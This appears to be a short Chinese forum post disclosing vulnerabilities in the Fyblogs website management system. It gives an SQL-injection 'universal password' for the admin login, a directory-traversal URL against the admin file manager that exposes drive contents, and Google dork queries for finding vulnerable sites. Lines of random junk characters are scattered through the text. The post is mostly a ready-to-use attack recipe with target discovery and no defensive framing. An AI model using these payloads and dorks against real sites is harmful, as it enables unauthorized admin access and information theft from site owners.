Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
& _" _4 k% P. T+ _8 p
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
9 b1 I3 s& |8 w% |) e' {. H: \admin/uploadfile.asp?currentFolder=/upfiles/../

6 x8 h- v- [( W  N( K漏洞证明：
# z, M. d' X; s* x
5 r4 L3 B! v" q" ?谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?

9 `, H. J) G6 _